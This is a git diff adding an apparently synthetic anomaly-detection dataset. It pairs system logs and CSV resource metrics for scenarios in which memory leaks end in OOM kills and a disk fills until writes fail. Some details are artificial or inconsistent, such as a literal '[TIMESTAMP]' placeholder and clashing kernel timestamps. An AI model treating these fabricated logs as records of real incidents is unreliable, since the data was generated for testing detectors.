a/anom_dataset/scenario_2/anom_2_5.log b/anom_dataset/scenario_2/anom_2_5.log new file mode 100644 index 0000000000000000000000000000000000000000..6293bf3d2cd75ef8f1828f30678f5e97d0be1afe --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_5.log @@ -0,0 +1,17 @@ +Jul 02 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:10 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 +Jul 02 10:00:25 systemd[1]: Starting Daily apt download activities... +Jul 02 10:00:30 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:30 nginx[1303]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:02:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:00 nginx[1483]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:30 nginx[1663]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:00 nginx[1843]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:07:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:05 kernel: [12770.67] Out of memory: Kill process 15185 (java) score 988 or sacrifice child +Jul 02 10:07:05 kernel: [12770.68] Killed process 15185 (java) total-vm:1234567kB, anon-rss:876543kB, file-rss:0kB, shmem-rss:0kB diff --git a/anom_dataset/scenario_2/anom_2_6.csv b/anom_dataset/scenario_2/anom_2_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..6fff438d6fe02ad7b6077f7d691b2cb03099bde6 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,14.64,39.86,11.78,0.81,1.12 +2025-07-03T11:00:05Z,14.46,41.66,13.73,0.76,0.95 +2025-07-03T11:00:10Z,15.39,40.72,7.25,0.94,1.34 +2025-07-03T11:00:15Z,14.79,42.14,6.52,0.66,1.35 +2025-07-03T11:00:20Z,14.43,42.74,14.1,0.91,1.1 +2025-07-03T11:00:25Z,15.66,43.12,10.11,0.86,1.25 +2025-07-03T11:00:30Z,14.1,44.06,14.52,0.79,0.88 +2025-07-03T11:00:35Z,14.43,44.75,9.59,0.9,1.31 +2025-07-03T11:00:40Z,15.3,45.3,6.43,0.86,1.09 +2025-07-03T11:00:45Z,15.29,45.51,14.89,0.62,1.35 +2025-07-03T11:00:50Z,14.9,47.31,6.73,0.84,1.37 +2025-07-03T11:00:55Z,15.07,46.28,13.16,0.93,1.08 +2025-07-03T11:01:00Z,15.77,47.12,13.15,0.66,1.32 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0000000000000000000000000000000000000000..8b404dc2f743081c35ebbf05720349a07e576c48 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_6.log @@ -0,0 +1,27 @@ +Jul 3 11:00:45 my-app-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 3 11:01:10 my-app-server kubelet[2345]: INFO routine sync completed for pod web-app +Jul 3 11:01:19 my-app-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 3 11:01:38 my-app-server systemd[1]: Starting Clean php session files... +Jul 3 11:01:43 my-app-server kernel: [TIMESTAMP] nf_conntrack: nf_conntrack: table full, dropping packet +Jul 3 11:01:50 my-app-server systemd[1]: Starting Clean php session files... +Jul 3 11:01:56 my-app-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 3 11:02:09 my-app-server cron[17425]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:02:24 my-app-server systemd[1]: Starting Clean php session files... +Jul 3 11:02:43 my-app-server cron[19533]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:02:57 my-app-server systemd[1]: Starting Clean php session files... +Jul 3 11:02:58 my-app-server cron[18512]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:03:20 my-app-server cron[21089]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:03:45 my-app-server cron[16381]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:04:24 my-app-server sshd[14619]: Accepted publickey for user from 192.168.8.110 port 41692 ssh2 +Jul 3 11:04:49 my-app-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 3 11:05:20 my-app-server cron[22454]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:06:00 my-app-server sshd[16596]: Accepted publickey for user from 192.168.6.130 port 42361 ssh2 +Jul 3 11:06:46 my-app-server nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 3 11:07:04 my-app-server cron[24326]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 3 11:07:11 my-app-server systemd[1]: Starting Clean php session files... +Jul 3 11:07:18 my-app-server kernel: [ 1751540838.000000] Task in /work/payload invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 3 11:07:18 my-app-server kernel: [ 1751540838.000100] oom_kill_process: 15424: Tainted: G W 5.4.0-100-generic #113-Ubuntu +Jul 3 11:07:18 my-app-server kernel: [ 1751540838.000200] Out of memory: Kill process 15424 (leaky_app) score 958 or sacrifice child +Jul 3 11:07:18 my-app-server kernel: [ 1751540838.000300] Killed process 15424 (leaky_app) total-vm:18949168kB, anon-rss:15456436kB, file-rss:0kB, shmem-rss:0kB +Jul 3 11:07:20 my-app-server kubelet[2345]: INFO routine sync completed for pod web-app +Jul 3 11:07:26 my-app-server systemd[1]: Starting Clean php session files... diff --git a/anom_dataset/scenario_2/anom_2_7.csv b/anom_dataset/scenario_2/anom_2_7.csv new file mode 100644 index 0000000000000000000000000000000000000000..3ec8c1d473bfaaf6dcc3e1add2c3cc90fd93f652 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_7.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.2,34.86,25.18,0.54,1.23 +2025-07-02T10:00:05Z,12.46,36.75,28.09,0.76,0.9 +2025-07-02T10:00:10Z,16.9,35.88,18.37,0.98,1.58 +2025-07-02T10:00:15Z,14.26,37.38,17.28,0.85,1.02 +2025-07-02T10:00:20Z,12.79,38.06,28.65,0.51,1.5 +2025-07-02T10:00:25Z,17.99,38.53,22.66,1.08,0.98 +2025-07-02T10:00:30Z,11.81,39.55,29.28,0.77,1.31 +2025-07-02T10:00:35Z,13.24,40.32,21.89,0.59,1.67 +2025-07-02T10:00:40Z,16.55,40.96,17.15,0.54,1.01 +2025-07-02T10:00:45Z,16.55,41.24,29.84,0.98,0.5 +2025-07-02T10:00:50Z,15.22,42.12,17.59,0.99,1.25 +2025-07-02T10:00:55Z,15.85,41.92,27.24,0.77,0.82 +2025-07-02T10:01:00Z,18.18,43.59,27.22,0.95,1.22 +2025-07-02T10:01:05Z,17.79,43.56,17.63,0.75,1.05 +2025-07-02T10:01:10Z,13.18,44.83,26.01,0.56,0.8 +2025-07-02T10:01:15Z,15.1,45.07,27.63,0.63,1.82 +2025-07-02T10:01:20Z,18.46,45.94,29.36,0.84,1.76 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+Jul 02 10:00:05 systemd[1]: Started Session 151 of user root. +Jul 02 10:00:25 cron[3105]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:00:50 sshd[4510]: Accepted password for user admin from 10.0.2.5 port 51234 ssh2 +Jul 02 10:01:10 systemd[1]: Started Session 164 of user root. +Jul 02 10:01:30 cron[31018]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app-java +Jul 02 10:02:15 systemd[1]: Started Session 177 of user root. +Jul 02 10:02:35 cron[31031]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:20 systemd[1]: Started Session 190 of user root. +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app-java +Jul 02 10:03:40 cron[31044]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:04:25 systemd[1]: Started Session 203 of user root. +Jul 02 10:04:45 cron[31057]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:05:00 kubelet[2345]: INFO routine sync completed for pod web-app-java +Jul 02 10:05:30 systemd[1]: Started Session 216 of user root. +Jul 02 10:05:50 cron[31070]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:35 systemd[1]: Started Session 229 of user root. +Jul 02 10:06:40 kubelet[2345]: INFO routine sync completed for pod web-app-java +Jul 02 10:06:45 kernel: [45112.331] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 10:06:55 cron[31083]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:55 kernel: [45122.589] Out of memory: Killed process 13457 (java) total-vm:12134564kB, anon-rss:8345123kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:07:10 systemd[1]: Starting Java Application Server... diff --git a/anom_dataset/scenario_2/anom_2_8.csv b/anom_dataset/scenario_2/anom_2_8.csv new file mode 100644 index 0000000000000000000000000000000000000000..ae7864be5ab79384132224c02978d5c0b22e4afd --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_8.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,13.56,34.94,10.31,1.47,1.46 +2025-07-02T10:00:05Z,13.03,36.42,21.48,1.04,1.97 +2025-07-02T10:00:10Z,16.57,36.79,15.44,1.14,1.18 +2025-07-02T10:00:15Z,14.47,38.11,24.62,1.45,1.04 +2025-07-02T10:00:20Z,13.48,39.10,23.82,0.95,1.77 +2025-07-02T10:00:25Z,17.60,40.01,27.54,0.83,1.82 +2025-07-02T10:00:30Z,12.83,41.13,28.82,1.14,1.52 +2025-07-02T10:00:35Z,13.85,42.16,18.94,1.07,1.33 +2025-07-02T10:00:40Z,16.39,43.14,13.63,1.32,1.15 +2025-07-02T10:00:45Z,16.84,43.97,22.25,0.96,1.65 +2025-07-02T10:00:50Z,15.38,42.44,27.65,1.22,1.01 +2025-07-02T10:00:55Z,16.31,43.08,22.51,0.79,1.20 +2025-07-02T10:01:00Z,18.22,44.47,17.41,1.03,1.40 +2025-07-02T10:01:05Z,17.51,45.17,12.50,0.67,1.08 +2025-07-02T10:01:10Z,14.28,46.40,19.05,1.09,1.28 +2025-07-02T10:01:15Z,15.96,47.21,22.99,0.97,1.18 +2025-07-02T10:01:20Z,18.81,48.28,15.57,0.94,1.65 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tool... +Jul 02 10:00:23 kernel: [100.123456] microcode: microcode updated early to revision 0x5e +Jul 02 10:00:46 leaking-app[5432]: INFO: Service 'user-auth' initialized successfully. +Jul 02 10:01:10 leaking-app[5432]: INFO: Processing batch of 100 items. +Jul 02 10:01:33 cron[1122]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:57 leaking-app[5432]: INFO: Memory cache size increased to 256MB. +Jul 02 10:02:20 systemd[1]: Started Session 5 of user admin. +Jul 02 10:02:43 leaking-app[5432]: INFO: Processing batch of 150 items. +Jul 02 10:03:07 leaking-app[5432]: INFO: Memory cache size increased to 512MB. +Jul 02 10:03:30 sshd[6789]: Accepted password for admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:03:54 leaking-app[5432]: WARN: High memory usage detected: 75% +Jul 02 10:04:17 leaking-app[5432]: INFO: Processing batch of 200 items. +Jul 02 10:04:41 leaking-app[5432]: WARN: High memory usage detected: 85% +Jul 02 10:05:04 leaking-app[5432]: INFO: Memory cache size increased to 1024MB. +Jul 02 10:05:27 kernel: [401.543210] leaking-app invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 02 10:05:51 kernel: [401.543215] Out of memory: Kill process 5432 (leaking-app) score 988 or sacrifice child +Jul 02 10:06:14 kernel: [401.543220] Killed process 5432 (leaking-app) total-vm:8305844kB, anon-rss:7812345kB, file-rss:0kB, shmem-rss:0kB +Jul 02 10:06:38 systemd[1]: session-5.scope: A process of this unit has been killed by the OOM killer. +Jul 02 10:07:01 systemd[1]: leaking-app.service: Main process exited, code=killed, status=9/KILL +Jul 02 10:07:25 systemd[1]: leaking-app.service: Failed with result 'oom-kill'. diff --git a/anom_dataset/scenario_2/anom_2_9.csv b/anom_dataset/scenario_2/anom_2_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..b4087a37ebb4f9b8b046ff690b75f0d663ba6e6e --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_9.csv @@ -0,0 +1,91 @@ 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+2025-07-03T10:04:55Z,13.68,83.33,25.44,0.68,1.39 +2025-07-03T10:05:00Z,19.62,79.0,25.06,1.09,1.54 +2025-07-03T10:05:05Z,17.38,78.62,24.12,0.45,1.1 +2025-07-03T10:05:10Z,16.42,82.09,26.42,0.79,1.25 +2025-07-03T10:05:15Z,11.52,85.26,23.31,1.01,1.12 +2025-07-03T10:05:20Z,11.8,88.33,29.76,0.84,1.48 +2025-07-03T10:05:25Z,5.0,80.85,20.89,0.62,1.13 +2025-07-03T10:05:30Z,14.24,84.8,21.75,0.54,0.92 +2025-07-03T10:05:35Z,11.09,83.97,27.43,0.91,1.26 +2025-07-03T10:05:40Z,16.41,88.33,24.34,0.4,1.16 +2025-07-03T10:05:45Z,12.01,88.71,22.62,1.17,1.14 +2025-07-03T10:05:50Z,15.01,84.18,33.14,1.04,1.04 +2025-07-03T10:05:55Z,16.93,85.32,25.92,1.07,1.19 +2025-07-03T10:06:00Z,9.3,87.6,31.46,0.99,1.41 +2025-07-03T10:06:05Z,16.24,90.36,27.52,0.69,1.32 +2025-07-03T10:06:10Z,19.09,95.16,28.15,0.78,0.98 +2025-07-03T10:06:15Z,15.39,88.03,23.49,0.64,1.12 +2025-07-03T10:06:20Z,13.41,90.45,24.29,0.83,0.96 +2025-07-03T10:06:25Z,22.52,93.31,22.83,0.63,0.86 +2025-07-03T10:06:30Z,16.14,95.19,26.77,0.41,1.17 +2025-07-03T10:06:35Z,19.23,97.57,17.75,1.0,1.11 +2025-07-03T10:06:40Z,16.28,90.04,20.47,0.69,1.51 +2025-07-03T10:06:45Z,16.51,94.37,21.24,0.84,1.64 +2025-07-03T10:06:50Z,21.45,95.53,26.83,0.63,1.51 +2025-07-03T10:06:55Z,16.0,97.73,84.24,1.05,1.12 +2025-07-03T10:07:00Z,16.07,100.0,96.59,0.56,1.03 +2025-07-03T10:07:05Z,20.86,94.71,99.54,0.8,1.26 +2025-07-03T10:07:10Z,22.71,96.78,90.26,1.05,1.21 +2025-07-03T10:07:15Z,11.87,98.35,89.48,1.01,1.25 +2025-07-03T10:07:20Z,17.34,100.0,33.82,0.8,1.43 +2025-07-03T10:07:25Z,21.39,100.0,17.44,0.81,1.36 diff --git a/anom_dataset/scenario_2/anom_2_9.log b/anom_dataset/scenario_2/anom_2_9.log new file mode 100644 index 0000000000000000000000000000000000000000..532d3789c98bafdd7b6685a715103750d19b8641 --- /dev/null +++ b/anom_dataset/scenario_2/anom_2_9.log @@ -0,0 +1,25 @@ +Jul 03 10:00:02 ufw[21380]: Allowing outgoing connection to some-service.internal:5432 +Jul 03 10:00:29 kubelet[20142]: INFO routine sync completed for pod web-app +Jul 03 10:00:45 ufw[21380]: Allowing outgoing connection to some-service.internal:5432 +Jul 03 10:01:19 systemd[1]: Started Session 49 of user ubuntu. +Jul 03 10:01:41 kubelet[20596]: INFO routine sync completed for pod web-app +Jul 03 10:01:58 kubelet[23654]: INFO routine sync completed for pod web-app +Jul 03 10:02:14 cron[16548]: (root) CMD ( /usr/local/bin/run_backup.sh) +Jul 03 10:02:21 kubelet[11629]: INFO Successfully probed container metrics-collector +Jul 03 10:02:34 sshd[15143]: Accepted publickey for ubuntu from 192.168.1.105 port 50908 ssh2 +Jul 03 10:02:42 nginx[16337]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 10:03:42 sshd[14268]: Accepted publickey for ubuntu from 192.168.1.105 port 50343 ssh2 +Jul 03 10:04:05 sshd[21294]: Accepted publickey for ubuntu from 192.168.1.105 port 48281 ssh2 +Jul 03 10:04:18 kubelet[17122]: INFO Successfully probed container metrics-collector +Jul 03 10:05:57 kubelet[17313]: INFO Successfully probed container metrics-collector +Jul 03 10:06:02 nginx[11027]: GET /api/v1/health HTTP/1.1 200 OK +Jul 03 10:06:14 ufw[21380]: Allowing outgoing connection to some-service.internal:5432 +Jul 03 10:06:21 kubelet[22379]: INFO Successfully probed container metrics-collector +Jul 03 10:06:26 cron[10068]: (root) CMD ( /usr/local/bin/run_backup.sh) +Jul 03 10:06:35 kubelet[10841]: INFO routine sync completed for pod web-app +Jul 03 10:07:05 kernel: [172801.123456] java invoked oom-killer: gfp_mask=0x100cca(GFP_HIGHUSER_MOVABLE), order=0, oom_score_adj=0 +Jul 03 10:07:05 kernel: [172801.123460] CPU: 1 PID: 18872 Comm: java Not tainted 5.4.0-109-generic #123-Ubuntu +Jul 03 10:07:05 kernel: [172801.123500] Out of memory: Kill process 18872 (java) score 951 or sacrifice child +Jul 03 10:07:06 kernel: [172801.123550] Killed process 18872 (java) total-vm:16454284kB, anon-rss:8192340kB, file-rss:0kB, shmem-rss:0kB +Jul 03 10:07:06 systemd[1]: systemd-journald.service: State 'running' changed to 'killed' +Jul 03 10:07:26 kubelet[10597]: INFO routine sync completed for pod web-app diff --git a/anom_dataset/scenario_3/anom_3_1.csv b/anom_dataset/scenario_3/anom_3_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..cc8b2a2161c34bdfa4785f3d09d922b3031fe185 --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,net_in,net_out,disk_io +2025-07-02T10:00:00Z,17.9,37.66,1.39,1.18,20.15 +2025-07-02T10:00:05Z,23.87,38.32,1.43,1.65,20.94 +2025-07-02T10:00:10Z,18.76,36.61,1.42,1.02,21.57 +2025-07-02T10:00:15Z,17.13,41.3,0.96,1.57,22.37 +2025-07-02T10:00:20Z,24.7,38.11,0.68,1.4,22.67 +2025-07-02T10:00:25Z,15.46,44.38,1.08,1.31,23.47 +2025-07-02T10:00:30Z,19.51,36.34,1.35,1.2,23.68 +2025-07-02T10:00:35Z,19.85,41.0,0.55,0.86,24.13 +2025-07-02T10:00:40Z,21.88,42.08,0.84,1.26,24.55 +2025-07-02T10:00:45Z,20.45,38.92,0.62,1.01,25.46 +2025-07-02T10:00:50Z,24.78,44.45,1.38,1.2,26.08 +2025-07-02T10:00:55Z,22.95,44.72,0.79,1.58,27.24 +2025-07-02T10:01:00Z,21.02,35.84,0.71,1.16,27.15 +2025-07-02T10:01:05Z,23.74,40.9,0.86,1.46,28.31 +2025-07-02T10:01:10Z,15.12,38.92,1.05,1.51,29.22 +2025-07-02T10:01:15Z,22.19,43.14,1.27,0.99,29.39 +2025-07-02T10:01:20Z,15.28,36.11,0.75,1.33,29.84 +2025-07-02T10:01:25Z,17.86,43.49,0.82,0.82,30.37 +2025-07-02T10:01:30Z,15.49,37.69,0.55,1.52,31.33 +2025-07-02T10:01:35Z,19.94,40.53,1.05,1.36,31.94 +2025-07-02T10:01:40Z,17.12,42.43,0.63,1.27,32.37 +2025-07-02T10:01:45Z,20.82,39.34,1.44,1.6,33.55 +2025-07-02T10:01:50Z,19.17,35.25,1.28,1.76,33.95 +2025-07-02T10:01:55Z,19.06,43.78,1.21,1.06,33.99 +2025-07-02T10:02:00Z,22.22,42.32,0.78,1.66,35.07 +2025-07-02T10:02:05Z,16.81,42.4,1.09,1.79,35.52 +2025-07-02T10:02:10Z,19.36,39.04,0.69,0.95,35.86 +2025-07-02T10:02:15Z,22.34,43.21,1.13,0.99,37.35 +2025-07-02T10:02:20Z,16.15,40.18,1.27,1.39,37.31 +2025-07-02T10:02:25Z,23.08,37.89,1.43,1.55,37.83 +2025-07-02T10:02:30Z,19.16,41.88,0.88,1.11,39.07 +2025-07-02T10:02:35Z,24.66,42.98,1.04,1.29,39.24 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+2025-07-02T10:04:20Z,16.74,40.95,0.8,1.55,52.38 +2025-07-02T10:04:25Z,23.73,35.7,1.17,0.85,53.59 +2025-07-02T10:04:30Z,17.32,39.14,1.45,1.76,54.23 +2025-07-02T10:04:35Z,16.13,40.74,0.6,1.02,54.58 +2025-07-02T10:04:40Z,21.96,43.07,1.49,1.21,55.15 +2025-07-02T10:04:45Z,15.29,38.44,0.73,1.32,55.77 +2025-07-02T10:04:50Z,19.98,41.85,1.49,1.51,56.43 +2025-07-02T10:04:55Z,16.94,44.39,0.58,1.27,57.19 +2025-07-02T10:05:00Z,24.12,36.96,0.91,1.16,57.33 +2025-07-02T10:05:05Z,16.76,43.9,0.85,1.2,58.46 +2025-07-02T10:05:10Z,21.28,36.95,1.06,1.7,58.81 +2025-07-02T10:05:15Z,22.66,37.48,1.14,1.73,59.75 +2025-07-02T10:05:20Z,21.18,39.17,1.3,0.95,59.93 +2025-07-02T10:05:25Z,21.58,37.73,0.97,1.64,60.93 +2025-07-02T10:05:30Z,15.23,37.54,0.72,1.44,64.03 +2025-07-02T10:05:35Z,18.36,38.34,0.97,1.75,66.37 +2025-07-02T10:05:40Z,17.8,36.14,1.08,1.38,69.63 +2025-07-02T10:05:45Z,20.06,40.59,1.48,1.4,72.08 +2025-07-02T10:05:50Z,15.34,39.11,0.82,1.04,74.6 +2025-07-02T10:05:55Z,18.86,44.07,1.29,1.28,77.11 +2025-07-02T10:06:00Z,20.14,38.14,1.46,1.36,79.97 +2025-07-02T10:06:05Z,23.41,42.77,0.91,1.32,82.35 +2025-07-02T10:06:10Z,21.9,39.51,1.17,1.52,85.04 +2025-07-02T10:06:15Z,16.43,42.37,0.76,0.97,88.22 +2025-07-02T10:06:20Z,19.16,40.28,0.66,1.55,90.71 +2025-07-02T10:06:25Z,24.57,44.61,1.01,0.83,93.65 +2025-07-02T10:06:30Z,22.64,41.34,0.82,0.86,96.56 +2025-07-02T10:06:35Z,21.13,35.31,1.5,0.83,99.33 +2025-07-02T10:06:40Z,18.13,38.78,0.62,1.47,100.0 +2025-07-02T10:06:45Z,18.02,41.6,0.91,1.49,100.0 +2025-07-02T10:06:50Z,17.17,38.65,0.52,0.91,100.0 +2025-07-02T10:06:55Z,17.97,40.11,0.91,1.71,100.0 +2025-07-02T10:07:00Z,18.29,44.78,0.87,1.71,100.0 +2025-07-02T10:07:05Z,22.48,40.69,1.05,1.71,99.71 +2025-07-02T10:07:10Z,22.64,40.91,1.45,1.21,100.0 +2025-07-02T10:07:15Z,20.49,42.82,0.66,0.8,99.54 +2025-07-02T10:07:20Z,18.69,42.83,0.59,1.62,100.0 +2025-07-02T10:07:25Z,18.13,35.5,0.65,1.05,99.95 diff --git a/anom_dataset/scenario_3/anom_3_1.log b/anom_dataset/scenario_3/anom_3_1.log new file mode 100644 index 0000000000000000000000000000000000000000..f0f8497517888328b73adc1486abd980d530df2d --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_1.log @@ -0,0 +1,76 @@ +Jul 02 10:00:00 systemd[1]: Started Session 97 of user root. +Jul 02 10:00:05 systemd[1]: Finished Daily apt download activities. +Jul 02 10:00:15 systemd[1]: Started Session 75 of user root. +Jul 02 10:00:20 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:00:30 systemd[1]: Finished Daily apt download activities. +Jul 02 10:00:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:00:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:05 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:10 systemd[1]: Started Session 88 of user root. +Jul 02 10:01:20 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:01:25 systemd[1]: Finished Daily apt download activities. +Jul 02 10:01:30 sshd[19688]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:01:35 sshd[14089]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:01:40 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:01:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:01:50 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:01:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:00 sshd[18519]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:02:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:02:10 systemd[1]: Started Session 17 of user root. +Jul 02 10:02:15 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:02:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:40 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:02:50 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:02:55 systemd[1]: Started Session 79 of user root. +Jul 02 10:03:10 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:03:20 systemd[1]: Finished Daily apt download activities. +Jul 02 10:03:25 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:03:30 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:03:40 systemd[1]: Started Session 45 of user root. +Jul 02 10:03:45 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:03:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:05 systemd[1]: Started Session 39 of user root. +Jul 02 10:04:15 systemd[1]: Finished Daily apt download activities. +Jul 02 10:04:20 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:04:25 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:04:30 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:04:35 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:40 sshd[22706]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:04:45 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:04:50 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:04:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:00 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:05:05 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:05:10 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:05:20 sshd[18702]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:05:25 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:05:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:05:35 sshd[9700]: Accepted publickey for user admin from 10.0.2.2 port 51234 ssh2 +Jul 02 10:05:40 systemd[1]: Finished Daily apt download activities. +Jul 02 10:05:45 kubelet[2345]: INFO Successfully probed container xyz-app +Jul 02 10:05:50 postgres[23248]: WARNING: could not write to temporary file. This may indicate a disk space problem. +Jul 02 10:05:55 cron[11432]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:06:00 app-server[20684]: WARN: Temporary file cache size reaching limit. +Jul 02 10:06:05 systemd[1]: Finished Daily apt download activities. +Jul 02 10:06:10 postgres[10454]: WARNING: could not write to temporary file. This may indicate a disk space problem. +Jul 02 10:06:15 data-importer[6580]: ERROR: Failed to write batch data to /var/data/import. Retrying... +Jul 02 10:06:20 app-server[3083]: WARN: Temporary file cache size reaching limit. +Jul 02 10:06:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:30 nginx[1123]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:06:35 postgres[7679]: PANIC: could not write to WAL segment: No space left on device +Jul 02 10:06:40 nginx[22745]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 10:06:45 kernel: [ 1751450805.000000 ]blk_update_request: I/O error, dev sda, sector 978333 +Jul 02 10:06:50 nginx[24586]: [crit] 28253#0: *227563 open() "/var/log/nginx/access.log" failed (28: No space left on device) +Jul 02 10:06:55 syslogd[9385]: CRITICAL: write error on /dev/sda1: No space left on device +Jul 02 10:07:00 kernel: [ 1751450820.000000 ]blk_update_request: I/O error, dev sda, sector 113951 +Jul 02 10:07:05 app-server[20900]: ERROR: java.io.IOException: No space left on device +Jul 02 10:07:10 nginx[1123]: GET /healthz HTTP/1.1 503 Service Unavailable +Jul 02 10:07:15 nginx[1123]: GET /healthz HTTP/1.1 503 Service Unavailable +Jul 02 10:07:20 syslogd[6869]: CRITICAL: write error on /dev/sda1: No space left on device +Jul 02 10:07:25 app-server[10655]: ERROR: java.io.IOException: No space left on device diff --git a/anom_dataset/scenario_3/anom_3_10.csv b/anom_dataset/scenario_3/anom_3_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..a8e6a23d39796db138c834b27f2d42939550402a --- /dev/null +++ b/anom_dataset/scenario_3/anom_3_10.csv @@ -0,0 